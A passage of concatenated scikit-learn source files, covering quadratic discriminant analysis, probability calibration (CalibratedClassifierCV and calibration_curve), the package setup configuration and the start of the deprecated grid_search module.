        `self.covariances_` attribute.

        .. versionadded:: 0.17

    tol : float, optional, default 1.0e-4
        Threshold used for rank estimation.

        .. versionadded:: 0.17

    Examples
    --------
    >>> from sklearn.discriminant_analysis import QuadraticDiscriminantAnalysis
    >>> import numpy as np
    >>> X = np.array([[-1, -1], [-2, -1], [-3, -2], [1, 1], [2, 1], [3, 2]])
    >>> y = np.array([1, 1, 1, 2, 2, 2])
    >>> clf = QuadraticDiscriminantAnalysis()
    >>> clf.fit(X, y)
    ... # doctest: +ELLIPSIS, +NORMALIZE_WHITESPACE
    QuadraticDiscriminantAnalysis(priors=None, reg_param=0.0,
                                  store_covariances=False, tol=0.0001)
    >>> print(clf.predict([[-0.8, -1]]))
    [1]

    See also
    --------
    sklearn.discriminant_analysis.LinearDiscriminantAnalysis: Linear
        Discriminant Analysis
    """

    def __init__(self, priors=None, reg_param=0., store_covariances=False,
                 tol=1.0e-4):
        self.priors = np.asarray(priors) if priors is not None else None
        self.reg_param = reg_param
        self.store_covariances = store_covariances
        self.tol = tol

    def fit(self, X, y, store_covariances=None, tol=None):
        """Fit the model according to the given training data and parameters.

            .. versionchanged:: 0.17
               Deprecated *store_covariance* have been moved to main constructor.

            .. versionchanged:: 0.17
               Deprecated *tol* have been moved to main constructor.

        Parameters
        ----------
        X : array-like, shape = [n_samples, n_features]
            Training vector, where n_samples in the number of samples and
            n_features is the number of features.

        y : array, shape = [n_samples]
            Target values (integers)
        """
        if store_covariances:
            warnings.warn("The parameter 'store_covariances' is deprecated as "
                          "of version 0.17 and will be removed in 0.19. The "
                          "parameter is no longer necessary because the value "
                          "is set via the estimator initialisation or "
                          "set_params method.", DeprecationWarning)
            self.store_covariances = store_covariances
        if tol:
            warnings.warn("The parameter 'tol' is deprecated as of version "
                          "0.17 and will be removed in 0.19. The parameter is "
                          "no longer necessary because the value is set via "
                          "the estimator initialisation or set_params method.",
                          DeprecationWarning)
            self.tol = tol
        X, y = check_X_y(X, y)
        check_classification_targets(y)
        self.classes_, y = np.unique(y, return_inverse=True)
        n_samples, n_features = X.shape
        n_classes = len(self.classes_)
        if n_classes < 2:
            raise ValueError('y has less than 2 classes')
        if self.priors is None:
            self.priors_ = bincount(y) / float(n_samples)
        else:
            self.priors_ = self.priors

        cov = None
        if self.store_covariances:
            cov = []
        means = []
        scalings = []
        rotations = []
        for ind in xrange(n_classes):
            Xg = X[y == ind, :]
            meang = Xg.mean(0)
            means.append(meang)
            if len(Xg) == 1:
                raise ValueError('y has only 1 sample in class %s, covariance '
                                 'is ill defined.' % str(self.classes_[ind]))
            Xgc = Xg - meang
            # Xgc = U * S * V.T
            U, S, Vt = np.linalg.svd(Xgc, full_matrices=False)
            rank = np.sum(S > self.tol)
            if rank < n_features:
                warnings.warn("Variables are collinear")
            S2 = (S ** 2) / (len(Xg) - 1)
            S2 = ((1 - self.reg_param) * S2) + self.reg_param
            if self.store_covariances:
                # cov = V * (S^2 / (n-1)) * V.T
                cov.append(np.dot(S2 * Vt.T, Vt))
            scalings.append(S2)
            rotations.append(Vt.T)
        if self.store_covariances:
            self.covariances_ = cov
        self.means_ = np.asarray(means)
        self.scalings_ = scalings
        self.rotations_ = rotations
        return self

    def _decision_function(self, X):
        check_is_fitted(self, 'classes_')

        X = check_array(X)
        norm2 = []
        for i in range(len(self.classes_)):
            R = self.rotations_[i]
            S = self.scalings_[i]
            Xm = X - self.means_[i]
            X2 = np.dot(Xm, R * (S ** (-0.5)))
            norm2.append(np.sum(X2 ** 2, 1))
        norm2 = np.array(norm2).T   # shape = [len(X), n_classes]
        u = np.asarray([np.sum(np.log(s)) for s in self.scalings_])
        return (-0.5 * (norm2 + u) + np.log(self.priors_))

    def decision_function(self, X):
        """Apply decision function to an array of samples.

        Parameters
        ----------
        X : array-like, shape = [n_samples, n_features]
            Array of samples (test vectors).

        Returns
        -------
        C : array, shape = [n_samples, n_classes] or [n_samples,]
            Decision function values related to each class, per sample.
            In the two-class case, the shape is [n_samples,], giving the
            log likelihood ratio of the positive class.
        """
        dec_func = self._decision_function(X)
        # handle special case of two classes
        if len(self.classes_) == 2:
            return dec_func[:, 1] - dec_func[:, 0]
        return dec_func

    def predict(self, X):
        """Perform classification on an array of test vectors X.

        The predicted class C for each sample in X is returned.

        Parameters
        ----------
        X : array-like, shape = [n_samples, n_features]

        Returns
        -------
        C : array, shape = [n_samples]
        """
        d = self._decision_function(X)
        y_pred = self.classes_.take(d.argmax(1))
        return y_pred

    def predict_proba(self, X):
        """Return posterior probabilities of classification.

        Parameters
        ----------
        X : array-like, shape = [n_samples, n_features]
            Array of samples/test vectors.

        Returns
        -------
        C : array, shape = [n_samples, n_classes]
            Posterior probabilities of classification per class.
        """
        values = self._decision_function(X)
        # compute the likelihood of the underlying gaussian models
        # up to a multiplicative constant.
        likelihood = np.exp(values - values.max(axis=1)[:, np.newaxis])
        # compute posterior probabilities
        return likelihood / likelihood.sum(axis=1)[:, np.newaxis]

    def predict_log_proba(self, X):
        """Return posterior probabilities of classification.

        Parameters
        ----------
        X : array-like, shape = [n_samples, n_features]
            Array of samples/test vectors.

        Returns
        -------
        C : array, shape = [n_samples, n_classes]
            Posterior log-probabilities of classification per class.
        """
        # XXX : can do better to avoid precision overflows
        probas_ = self.predict_proba(X)
        return np.log(probas_)






"""Calibration of predicted probabilities."""

# Author: Alexandre Gramfort <alexandre.gramfort@telecom-paristech.fr>
#         Balazs Kegl <balazs.kegl@gmail.com>
#         Jan Hendrik Metzen <jhm@informatik.uni-bremen.de>
#         Mathieu Blondel <mathieu@mblondel.org>
#
# License: BSD 3 clause

from __future__ import division
import warnings

from math import log
import numpy as np

from scipy.optimize import fmin_bfgs

from .base import BaseEstimator, ClassifierMixin, RegressorMixin, clone
from .preprocessing import LabelBinarizer
from .utils import check_X_y, check_array, indexable, column_or_1d
from .utils.validation import check_is_fitted
from .utils.fixes import signature
from .isotonic import IsotonicRegression
from .svm import LinearSVC
from .model_selection import check_cv
from .metrics.classification import _check_binary_probabilistic_predictions


class CalibratedClassifierCV(BaseEstimator, ClassifierMixin):
    """Probability calibration with isotonic regression or sigmoid.

    With this class, the base_estimator is fit on the train set of the
    cross-validation generator and the test set is used for calibration.
    The probabilities for each of the folds are then averaged
    for prediction. In case that cv="prefit" is passed to __init__,
    it is assumed that base_estimator has been fitted already and all
    data is used for calibration. Note that data for fitting the
    classifier and for calibrating it must be disjoint.

    Read more in the :ref:`User Guide <calibration>`.

    Parameters
    ----------
    base_estimator : instance BaseEstimator
        The classifier whose output decision function needs to be calibrated
        to offer more accurate predict_proba outputs. If cv=prefit, the
        classifier must have been fit already on data.

    method : 'sigmoid' or 'isotonic'
        The method to use for calibration. Can be 'sigmoid' which
        corresponds to Platt's method or 'isotonic' which is a
        non-parametric approach. It is not advised to use isotonic calibration
        with too few calibration samples ``(<<1000)`` since it tends to overfit.
        Use sigmoids (Platt's calibration) in this case.

    cv : integer, cross-validation generator, iterable or "prefit", optional
        Determines the cross-validation splitting strategy.
        Possible inputs for cv are:

        - None, to use the default 3-fold cross-validation,
        - integer, to specify the number of folds.
        - An object to be used as a cross-validation generator.
        - An iterable yielding train/test splits.

        For integer/None inputs, if ``y`` is binary or multiclass,
        :class:`sklearn.model_selection.StratifiedKFold` is used. If ``y`` 
        is neither binary nor multiclass, :class:`sklearn.model_selection.KFold` 
        is used.

        Refer :ref:`User Guide <cross_validation>` for the various
        cross-validation strategies that can be used here.

        If "prefit" is passed, it is assumed that base_estimator has been
        fitted already and all data is used for calibration.

    Attributes
    ----------
    classes_ : array, shape (n_classes)
        The class labels.

    calibrated_classifiers_: list (len() equal to cv or 1 if cv == "prefit")
        The list of calibrated classifiers, one for each crossvalidation fold,
        which has been fitted on all but the validation fold and calibrated
        on the validation fold.

    References
    ----------
    .. [1] Obtaining calibrated probability estimates from decision trees
           and naive Bayesian classifiers, B. Zadrozny & C. Elkan, ICML 2001

    .. [2] Transforming Classifier Scores into Accurate Multiclass
           Probability Estimates, B. Zadrozny & C. Elkan, (KDD 2002)

    .. [3] Probabilistic Outputs for Support Vector Machines and Comparisons to
           Regularized Likelihood Methods, J. Platt, (1999)

    .. [4] Predicting Good Probabilities with Supervised Learning,
           A. Niculescu-Mizil & R. Caruana, ICML 2005
    """
    def __init__(self, base_estimator=None, method='sigmoid', cv=3):
        self.base_estimator = base_estimator
        self.method = method
        self.cv = cv

    def fit(self, X, y, sample_weight=None):
        """Fit the calibrated model

        Parameters
        ----------
        X : array-like, shape (n_samples, n_features)
            Training data.

        y : array-like, shape (n_samples,)
            Target values.

        sample_weight : array-like, shape = [n_samples] or None
            Sample weights. If None, then samples are equally weighted.

        Returns
        -------
        self : object
            Returns an instance of self.
        """
        X, y = check_X_y(X, y, accept_sparse=['csc', 'csr', 'coo'],
                         force_all_finite=False)
        X, y = indexable(X, y)
        lb = LabelBinarizer().fit(y)
        self.classes_ = lb.classes_

        # Check that each cross-validation fold can have at least one
        # example per class
        n_folds = self.cv if isinstance(self.cv, int) \
            else self.cv.n_folds if hasattr(self.cv, "n_folds") else None
        if n_folds and \
           np.any([np.sum(y == class_) < n_folds for class_ in self.classes_]):
            raise ValueError("Requesting %d-fold cross-validation but provided"
                             " less than %d examples for at least one class."
                             % (n_folds, n_folds))

        self.calibrated_classifiers_ = []
        if self.base_estimator is None:
            # we want all classifiers that don't expose a random_state
            # to be deterministic (and we don't want to expose this one).
            base_estimator = LinearSVC(random_state=0)
        else:
            base_estimator = self.base_estimator

        if self.cv == "prefit":
            calibrated_classifier = _CalibratedClassifier(
                base_estimator, method=self.method)
            if sample_weight is not None:
                calibrated_classifier.fit(X, y, sample_weight)
            else:
                calibrated_classifier.fit(X, y)
            self.calibrated_classifiers_.append(calibrated_classifier)
        else:
            cv = check_cv(self.cv, y, classifier=True)
            fit_parameters = signature(base_estimator.fit).parameters
            estimator_name = type(base_estimator).__name__
            if (sample_weight is not None
                    and "sample_weight" not in fit_parameters):
                warnings.warn("%s does not support sample_weight. Samples"
                              " weights are only used for the calibration"
                              " itself." % estimator_name)
                base_estimator_sample_weight = None
            else:
                base_estimator_sample_weight = sample_weight
            for train, test in cv.split(X, y):
                this_estimator = clone(base_estimator)
                if base_estimator_sample_weight is not None:
                    this_estimator.fit(
                        X[train], y[train],
                        sample_weight=base_estimator_sample_weight[train])
                else:
                    this_estimator.fit(X[train], y[train])

                calibrated_classifier = _CalibratedClassifier(
                    this_estimator, method=self.method)
                if sample_weight is not None:
                    calibrated_classifier.fit(X[test], y[test],
                                              sample_weight[test])
                else:
                    calibrated_classifier.fit(X[test], y[test])
                self.calibrated_classifiers_.append(calibrated_classifier)

        return self

    def predict_proba(self, X):
        """Posterior probabilities of classification

        This function returns posterior probabilities of classification
        according to each class on an array of test vectors X.

        Parameters
        ----------
        X : array-like, shape (n_samples, n_features)
            The samples.

        Returns
        -------
        C : array, shape (n_samples, n_classes)
            The predicted probas.
        """
        check_is_fitted(self, ["classes_", "calibrated_classifiers_"])
        X = check_array(X, accept_sparse=['csc', 'csr', 'coo'],
                        force_all_finite=False)
        # Compute the arithmetic mean of the predictions of the calibrated
        # classifiers
        mean_proba = np.zeros((X.shape[0], len(self.classes_)))
        for calibrated_classifier in self.calibrated_classifiers_:
            proba = calibrated_classifier.predict_proba(X)
            mean_proba += proba

        mean_proba /= len(self.calibrated_classifiers_)

        return mean_proba

    def predict(self, X):
        """Predict the target of new samples. Can be different from the
        prediction of the uncalibrated classifier.

        Parameters
        ----------
        X : array-like, shape (n_samples, n_features)
            The samples.

        Returns
        -------
        C : array, shape (n_samples,)
            The predicted class.
        """
        check_is_fitted(self, ["classes_", "calibrated_classifiers_"])
        return self.classes_[np.argmax(self.predict_proba(X), axis=1)]


class _CalibratedClassifier(object):
    """Probability calibration with isotonic regression or sigmoid.

    It assumes that base_estimator has already been fit, and trains the
    calibration on the input set of the fit function. Note that this class
    should not be used as an estimator directly. Use CalibratedClassifierCV
    with cv="prefit" instead.

    Parameters
    ----------
    base_estimator : instance BaseEstimator
        The classifier whose output decision function needs to be calibrated
        to offer more accurate predict_proba outputs. No default value since
        it has to be an already fitted estimator.

    method : 'sigmoid' | 'isotonic'
        The method to use for calibration. Can be 'sigmoid' which
        corresponds to Platt's method or 'isotonic' which is a
        non-parametric approach based on isotonic regression.

    References
    ----------
    .. [1] Obtaining calibrated probability estimates from decision trees
           and naive Bayesian classifiers, B. Zadrozny & C. Elkan, ICML 2001

    .. [2] Transforming Classifier Scores into Accurate Multiclass
           Probability Estimates, B. Zadrozny & C. Elkan, (KDD 2002)

    .. [3] Probabilistic Outputs for Support Vector Machines and Comparisons to
           Regularized Likelihood Methods, J. Platt, (1999)

    .. [4] Predicting Good Probabilities with Supervised Learning,
           A. Niculescu-Mizil & R. Caruana, ICML 2005
    """
    def __init__(self, base_estimator, method='sigmoid'):
        self.base_estimator = base_estimator
        self.method = method

    def _preproc(self, X):
        n_classes = len(self.classes_)
        if hasattr(self.base_estimator, "decision_function"):
            df = self.base_estimator.decision_function(X)
            if df.ndim == 1:
                df = df[:, np.newaxis]
        elif hasattr(self.base_estimator, "predict_proba"):
            df = self.base_estimator.predict_proba(X)
            if n_classes == 2:
                df = df[:, 1:]
        else:
            raise RuntimeError('classifier has no decision_function or '
                               'predict_proba method.')

        idx_pos_class = np.arange(df.shape[1])

        return df, idx_pos_class

    def fit(self, X, y, sample_weight=None):
        """Calibrate the fitted model

        Parameters
        ----------
        X : array-like, shape (n_samples, n_features)
            Training data.

        y : array-like, shape (n_samples,)
            Target values.

        sample_weight : array-like, shape = [n_samples] or None
            Sample weights. If None, then samples are equally weighted.

        Returns
        -------
        self : object
            Returns an instance of self.
        """
        lb = LabelBinarizer()
        Y = lb.fit_transform(y)
        self.classes_ = lb.classes_

        df, idx_pos_class = self._preproc(X)
        self.calibrators_ = []

        for k, this_df in zip(idx_pos_class, df.T):
            if self.method == 'isotonic':
                calibrator = IsotonicRegression(out_of_bounds='clip')
            elif self.method == 'sigmoid':
                calibrator = _SigmoidCalibration()
            else:
                raise ValueError('method should be "sigmoid" or '
                                 '"isotonic". Got %s.' % self.method)
            calibrator.fit(this_df, Y[:, k], sample_weight)
            self.calibrators_.append(calibrator)

        return self

    def predict_proba(self, X):
        """Posterior probabilities of classification

        This function returns posterior probabilities of classification
        according to each class on an array of test vectors X.

        Parameters
        ----------
        X : array-like, shape (n_samples, n_features)
            The samples.

        Returns
        -------
        C : array, shape (n_samples, n_classes)
            The predicted probas. Can be exact zeros.
        """
        n_classes = len(self.classes_)
        proba = np.zeros((X.shape[0], n_classes))

        df, idx_pos_class = self._preproc(X)

        for k, this_df, calibrator in \
                zip(idx_pos_class, df.T, self.calibrators_):
            if n_classes == 2:
                k += 1
            proba[:, k] = calibrator.predict(this_df)

        # Normalize the probabilities
        if n_classes == 2:
            proba[:, 0] = 1. - proba[:, 1]
        else:
            proba /= np.sum(proba, axis=1)[:, np.newaxis]

        # XXX : for some reason all probas can be 0
        proba[np.isnan(proba)] = 1. / n_classes

        # Deal with cases where the predicted probability minimally exceeds 1.0
        proba[(1.0 < proba) & (proba <= 1.0 + 1e-5)] = 1.0

        return proba


def _sigmoid_calibration(df, y, sample_weight=None):
    """Probability Calibration with sigmoid method (Platt 2000)

    Parameters
    ----------
    df : ndarray, shape (n_samples,)
        The decision function or predict proba for the samples.

    y : ndarray, shape (n_samples,)
        The targets.

    sample_weight : array-like, shape = [n_samples] or None
        Sample weights. If None, then samples are equally weighted.

    Returns
    -------
    a : float
        The slope.

    b : float
        The intercept.

    References
    ----------
    Platt, "Probabilistic Outputs for Support Vector Machines"
    """
    df = column_or_1d(df)
    y = column_or_1d(y)

    F = df  # F follows Platt's notations
    tiny = np.finfo(np.float).tiny  # to avoid division by 0 warning

    # Bayesian priors (see Platt end of section 2.2)
    prior0 = float(np.sum(y <= 0))
    prior1 = y.shape[0] - prior0
    T = np.zeros(y.shape)
    T[y > 0] = (prior1 + 1.) / (prior1 + 2.)
    T[y <= 0] = 1. / (prior0 + 2.)
    T1 = 1. - T

    def objective(AB):
        # From Platt (beginning of Section 2.2)
        E = np.exp(AB[0] * F + AB[1])
        P = 1. / (1. + E)
        l = -(T * np.log(P + tiny) + T1 * np.log(1. - P + tiny))
        if sample_weight is not None:
            return (sample_weight * l).sum()
        else:
            return l.sum()

    def grad(AB):
        # gradient of the objective function
        E = np.exp(AB[0] * F + AB[1])
        P = 1. / (1. + E)
        TEP_minus_T1P = P * (T * E - T1)
        if sample_weight is not None:
            TEP_minus_T1P *= sample_weight
        dA = np.dot(TEP_minus_T1P, F)
        dB = np.sum(TEP_minus_T1P)
        return np.array([dA, dB])

    AB0 = np.array([0., log((prior0 + 1.) / (prior1 + 1.))])
    AB_ = fmin_bfgs(objective, AB0, fprime=grad, disp=False)
    return AB_[0], AB_[1]


class _SigmoidCalibration(BaseEstimator, RegressorMixin):
    """Sigmoid regression model.

    Attributes
    ----------
    a_ : float
        The slope.

    b_ : float
        The intercept.
    """
    def fit(self, X, y, sample_weight=None):
        """Fit the model using X, y as training data.

        Parameters
        ----------
        X : array-like, shape (n_samples,)
            Training data.

        y : array-like, shape (n_samples,)
            Training target.

        sample_weight : array-like, shape = [n_samples] or None
            Sample weights. If None, then samples are equally weighted.

        Returns
        -------
        self : object
            Returns an instance of self.
        """
        X = column_or_1d(X)
        y = column_or_1d(y)
        X, y = indexable(X, y)

        self.a_, self.b_ = _sigmoid_calibration(X, y, sample_weight)
        return self

    def predict(self, T):
        """Predict new data by linear interpolation.

        Parameters
        ----------
        T : array-like, shape (n_samples,)
            Data to predict from.

        Returns
        -------
        T_ : array, shape (n_samples,)
            The predicted data.
        """
        T = column_or_1d(T)
        return 1. / (1. + np.exp(self.a_ * T + self.b_))


def calibration_curve(y_true, y_prob, normalize=False, n_bins=5):
    """Compute true and predicted probabilities for a calibration curve.

    Read more in the :ref:`User Guide <calibration>`.

    Parameters
    ----------
    y_true : array, shape (n_samples,)
        True targets.

    y_prob : array, shape (n_samples,)
        Probabilities of the positive class.

    normalize : bool, optional, default=False
        Whether y_prob needs to be normalized into the bin [0, 1], i.e. is not
        a proper probability. If True, the smallest value in y_prob is mapped
        onto 0 and the largest one onto 1.

    n_bins : int
        Number of bins. A bigger number requires more data.

    Returns
    -------
    prob_true : array, shape (n_bins,)
        The true probability in each bin (fraction of positives).

    prob_pred : array, shape (n_bins,)
        The mean predicted probability in each bin.

    References
    ----------
    Alexandru Niculescu-Mizil and Rich Caruana (2005) Predicting Good
    Probabilities With Supervised Learning, in Proceedings of the 22nd
    International Conference on Machine Learning (ICML).
    See section 4 (Qualitative Analysis of Predictions).
    """
    y_true = column_or_1d(y_true)
    y_prob = column_or_1d(y_prob)

    if normalize:  # Normalize predicted values into interval [0, 1]
        y_prob = (y_prob - y_prob.min()) / (y_prob.max() - y_prob.min())
    elif y_prob.min() < 0 or y_prob.max() > 1:
        raise ValueError("y_prob has values outside [0, 1] and normalize is "
                         "set to False.")

    y_true = _check_binary_probabilistic_predictions(y_true, y_prob)

    bins = np.linspace(0., 1. + 1e-8, n_bins + 1)
    binids = np.digitize(y_prob, bins) - 1

    bin_sums = np.bincount(binids, weights=y_prob, minlength=len(bins))
    bin_true = np.bincount(binids, weights=y_true, minlength=len(bins))
    bin_total = np.bincount(binids, minlength=len(bins))

    nonzero = bin_total != 0
    prob_true = (bin_true[nonzero] / bin_total[nonzero])
    prob_pred = (bin_sums[nonzero] / bin_total[nonzero])

    return prob_true, prob_pred






import warnings
warnings.warn("qda.QDA has been moved to "
              "discriminant_analysis.QuadraticDiscriminantAnalysis "
              "in 0.17 and will be removed in 0.19.", DeprecationWarning)

from .discriminant_analysis import QuadraticDiscriminantAnalysis as QDA






import os
from os.path import join
import warnings


def configuration(parent_package='', top_path=None):
    from numpy.distutils.misc_util import Configuration
    from numpy.distutils.system_info import get_info, BlasNotFoundError
    import numpy

    libraries = []
    if os.name == 'posix':
        libraries.append('m')

    config = Configuration('sklearn', parent_package, top_path)

    # submodules with build utilities
    config.add_subpackage('__check_build')
    config.add_subpackage('_build_utils')

    # submodules which do not have their own setup.py
    # we must manually add sub-submodules & tests
    config.add_subpackage('covariance')
    config.add_subpackage('covariance/tests')
    config.add_subpackage('cross_decomposition')
    config.add_subpackage('cross_decomposition/tests')
    config.add_subpackage('feature_selection')
    config.add_subpackage('feature_selection/tests')
    config.add_subpackage('gaussian_process')
    config.add_subpackage('gaussian_process/tests')
    config.add_subpackage('mixture')
    config.add_subpackage('mixture/tests')
    config.add_subpackage('model_selection')
    config.add_subpackage('model_selection/tests')
    config.add_subpackage('neural_network')
    config.add_subpackage('neural_network/tests')
    config.add_subpackage('preprocessing')
    config.add_subpackage('preprocessing/tests')
    config.add_subpackage('semi_supervised')
    config.add_subpackage('semi_supervised/tests')

    # submodules which have their own setup.py
    # leave out "linear_model" and "utils" for now; add them after cblas below
    config.add_subpackage('cluster')
    config.add_subpackage('datasets')
    config.add_subpackage('decomposition')
    config.add_subpackage('ensemble')
    config.add_subpackage('externals')
    config.add_subpackage('feature_extraction')
    config.add_subpackage('manifold')
    config.add_subpackage('metrics')
    config.add_subpackage('metrics/cluster')
    config.add_subpackage('neighbors')
    config.add_subpackage('tree')
    config.add_subpackage('svm')

    # add cython extension module for isotonic regression
    config.add_extension(
        '_isotonic',
        sources=['_isotonic.c'],
        include_dirs=[numpy.get_include()],
        libraries=libraries,
    )

    # some libs needs cblas, fortran-compiled BLAS will not be sufficient
    blas_info = get_info('blas_opt', 0)
    if (not blas_info) or (
            ('NO_ATLAS_INFO', 1) in blas_info.get('define_macros', [])):
        config.add_library('cblas',
                           sources=[join('src', 'cblas', '*.c')])
        warnings.warn(BlasNotFoundError.__doc__)

    # the following packages depend on cblas, so they have to be build
    # after the above.
    config.add_subpackage('linear_model')
    config.add_subpackage('utils')

    # add the test directory
    config.add_subpackage('tests')

    return config

if __name__ == '__main__':
    from numpy.distutils.core import setup
    setup(**configuration(top_path='').todict())






"""
The :mod:`sklearn.grid_search` includes utilities to fine-tune the parameters
of an estimator.
"""
from __future__ import print_function

# Author: Alexandre Gramfort <alexandre.gramfort@inria.fr>,
#         Gael Varoquaux <gael.varoquaux@normalesup.org>
#         Andreas Mueller <amueller@ais.uni-bonn.de>
#         Olivier Grisel <olivier.grisel@ensta.org>
# License: BSD 3 clause

from abc import ABCMeta, abstractmethod
from collections import Mapping, namedtuple, Sized
from functools import partial, reduce
from itertools import product
import operator
import warnings

import numpy as np

from .base import BaseEstimator, is_classifier, clone
from .base import MetaEstimatorMixin
from .cross_validation import check_cv
from .cross_validation import _fit_and_score
from .externals.joblib import Parallel, delayed
from .externals import six
from .utils import check_random_state
from .utils.random import sample_without_replacement
from .utils.validation import _num_samples, indexable
from .utils.metaestimators import if_delegate_has_method
from .metrics.scorer import check_scoring
from .exceptions import ChangedBehaviorWarning


__all__ = ['GridSearchCV', 'ParameterGrid', 'fit_grid_point',
           'ParameterSampler', 'RandomizedSearchCV']


warnings.warn("This module was deprecated in version 0.18 in favor of the "
              "model_selection module into which all the refactored classes "
              "and functions are moved. This module will be removed in 0.20.",
              DeprecationWarning)


class ParameterGrid(object):
    """Grid of parameters with a discrete number of values for each.

    Can be used to iterate over parameter value combinations with the
    Python built-in function iter.

    Read more in the :ref:`User Guide <grid_search>`.

    Parameters
    ----------
    param_grid : dict of string to sequence, or sequence of such
        The parameter grid to explore, as a dictionary mapping estimator
        parameters to sequences of allowed values.

        An empty dict signifies default parameters.

        A sequence of dicts signifies a sequence of grids to search, and is
        useful to avoid exploring parameter combinations that make no sense
        or have no effect. See the examples below.

    Examples
    --------
    >>> from sklearn.grid_search import ParameterGrid
    >>> param_grid = {'a': [1, 2], 'b': [True, False]}
    >>> list(ParameterGrid(param_grid)) == (
    ...    [{'a': 1, 'b': True}, {'a': 1, 'b': False},
    ...     {'a': 2, 'b': True}, {'a': 2, 'b': False}])
    True

    >>> grid = [{'kernel': ['linear']}, {'kernel': ['rbf'], 'gamma': [1, 10]}]
    >>> list(ParameterGrid(grid)) == [{'kernel': 'linear'},
    ...                               {'kernel': 'rbf', 'gamma': 1},
    ...                               {'kernel': 'rbf', 'gamma': 10}]
    True
    >>> ParameterGrid(grid)[1] == {'kernel': 'rbf', 'gamma': 1}
    True

    See also
    --------
    :class:`GridSearchCV`:
        uses ``ParameterGrid`` to perform a full parallelized parameter search.
    """

    def __init__(self, param_grid):
        if isinstance(param_grid, Mapping):
            # wrap dictionary in a singleton list to support either dict
            # or list of dicts
            param_grid = [param_grid]
        self.param_grid = param_grid

    def __iter__(self):
        """Iterate over the points in the grid.

        Returns
        -------
        params : iterator over dict of string to any
            Yields dictionaries mapping each estimator parameter to one of its
            allowed values.
        """
        for p in self.param_grid:
            # Always sort the keys of a dictionary, for reproducibility
            items = sorted(p.items())
            if not items:
                yield {}
            else:
                keys, values = zip(*items)
                for v in product(*values):
                    params = dict(zip(keys, v))
                    yield params

    def __len__(self):
        """Number of points on the grid."""
        # Product function that can handle iterables (np.product can't).
        product = partial(reduce, operator.mul)
        return sum(product(len(v) for v in p.values()) if p else 1
                   for p in self.param_grid)

    def __getitem__(self, ind):
        """Get the parameters that would be ``ind``th in iteration

        Parameters
        ----------
        ind : int
            The iteration index

        Returns
        -------
        params : dict of string to any
            Equal to list(self)[ind]
        """
        # This is used to make discrete sampling without replacement memory
        # efficient.
        for sub_grid in self.param_grid:
            # XXX: could memoize information used here
            if not sub_grid:
                if ind == 0:
                    return {}
                else:
                    ind -= 1
                    continue

            # Reverse so most frequent cycling parameter comes first
            keys, values_lists = zip(*sorted(sub_grid.items())[::-1])
            sizes = [len(v_list) for v_list in values_lists]
            total = np.product(sizes)

            if ind >= total:
                # Try the next grid
                ind -= total
            else:
                out = {}
                for key, v_list, n in zip(keys, values_lists, sizes):
                    ind, offset = divmod(ind, n)
                    out[key] = v_list[offset]
                return out

        raise IndexError('ParameterGrid index out of range')


class ParameterSampler(object):
    """Generator on parameters sampled from given distributions.

    Non-deterministic iterable over random candidate combinations for hyper-
    parameter search. If all parameters are presented as a list,
    sampling without replacement is performed. If at least one parameter
    is given as a distribution, sampling with replacement is used.
    It is highly recommended to use continuous distributions for continuous
    parameters.

    Note that as of SciPy 0.12, the ``scipy.stats.distributions`` do not accept
    a custom RNG instance and always use the singleton RNG from
    ``numpy.random``. Hence setting ``random_state`` will not guarantee a
    deterministic iteration whenever ``scipy.stats`` distributions are used to
    define the parameter search space.

    Read more in the :ref:`User Guide <grid_search>`.

    Parameters
    ----------
    param_distributions : dict
        Dictionary where the keys are parameters and values
        are distributions from which a parameter is to be sampled.
        Distributions either have to provide a ``rvs`` function
        to sample from them, or can be given as a list of values,
        where a uniform distribution is assumed.

    n_iter : integer
        Number of parameter settings that are produced.

    random_state : int or RandomState
        Pseudo random number generator state used for random uniform sampling
        from lists of possible values instead of scipy.stats distributions.

    Returns
    -------
    params : dict of string to any
        **Yields** dictionaries mapping each estimator parameter to
        as sampled value.

    Examples
    --------
    >>> from sklearn.grid_search import ParameterSampler
    >>> from scipy.stats.distributions import expon
    >>> import numpy as np
    >>> np.random.seed(0)
    >>> param_grid = {'a':[1, 2], 'b': expon()}
    >>> param_list = list(ParameterSampler(param_grid, n_iter=4))
    >>> rounded_list = [dict((k, round(v, 6)) for (k, v) in d.items())
    ...                 for d in param_list]
    >>> rounded_list == [{'b': 0.89856, 'a': 1},
    ...                  {'b': 0.923223, 'a': 1},
    ...                  {'b': 1.878964, 'a': 2},
    ...                  {'b': 1.038159, 'a': 2}]
    True
    """
    def __init__(self, param_distributions, n_iter, random_state=None):
        self.param_distributions = param_distributions
        self.n_iter = n_iter
        self.random_state = random_state

    def __iter__(self):
        # check if all distributions are given as lists
        # in this case we want to sample without replacement
        all_lists = np.all([not hasattr(v, "rvs")
                            for v in self.param_distributions.values()])
        rnd = check_random_state(self.random_state)

        if all_lists:
            # look up sampled parameter settings in parameter grid
            param_grid = ParameterGrid(self.param_distributions)
            grid_size = len(param_grid)

            if grid_size < self.n_iter:
                raise ValueError(
                    "The total space of parameters %d is smaller "
                    "than n_iter=%d." % (grid_size, self.n_iter)
                    + " For exhaustive searches, use GridSearchCV.")
            for i in sample_without_replacement(grid_size, self.n_iter,
                                                random_state=rnd):
                yield param_grid[i]

        else:
            # Always sort the keys of a dictionary, for reproducibility
            items = sorted(self.param_distributions.items())
            for _ in six.moves.range(self.n_iter):
                params = dict()
                for k, v in items:
                    if hasattr(v, "rvs"):
                        params[k] = v.rvs()
                    else:
                        params[k] = v[rnd.randint(len(v))]
                yield params

    def __len__(self):
        """Number of points that will be sampled."""
        return self.n_iter


def fit_grid_point(X, y, estimator, parameters, train, test, scorer,
                   verbose, error_score='raise', **fit_params):
    """Run fit on one set of parameters.

    Parameters
    ----------
    X : array-like, sparse matrix or list
        Input data.

    y : array-like or None
        Targets for input data.

    estimator : estimator object
        A object of that type is instantiated for each grid point.
        This is assumed to implement the scikit-learn estimator interface.
        Either estimator needs to provide a ``score`` function,
        or ``scoring`` must be passed.

    parameters : dict
        Parameters to be set on estimator for this grid point.

    train : ndarray, dtype int or bool
        Boolean mask or indices for training set.

    test : ndarray, dtype int or bool
        Boolean mask or indices for test set.

    scorer : callable or None.
        If provided must be a scorer callable object / function with signature
        ``scorer(estimator, X, y)``.

    verbose : int
        Verbosity level.

    **fit_params : kwargs
        Additional parameter passed to the fit function of the estimator.

    error_score : 'raise' (default) or numeric
        Value to assign to the score if an error occurs in estimator fitting.
        If set to 'raise', the error is raised. If a numeric value is given,
        FitFailedWarning is raised. This parameter does not affect the refit
        step, which will always raise the error.

    Returns
    -------
    score : float
        Score of this parameter setting on given training / test split.

    parameters : dict
        The parameters that have been evaluated.

    n_samples_test : int
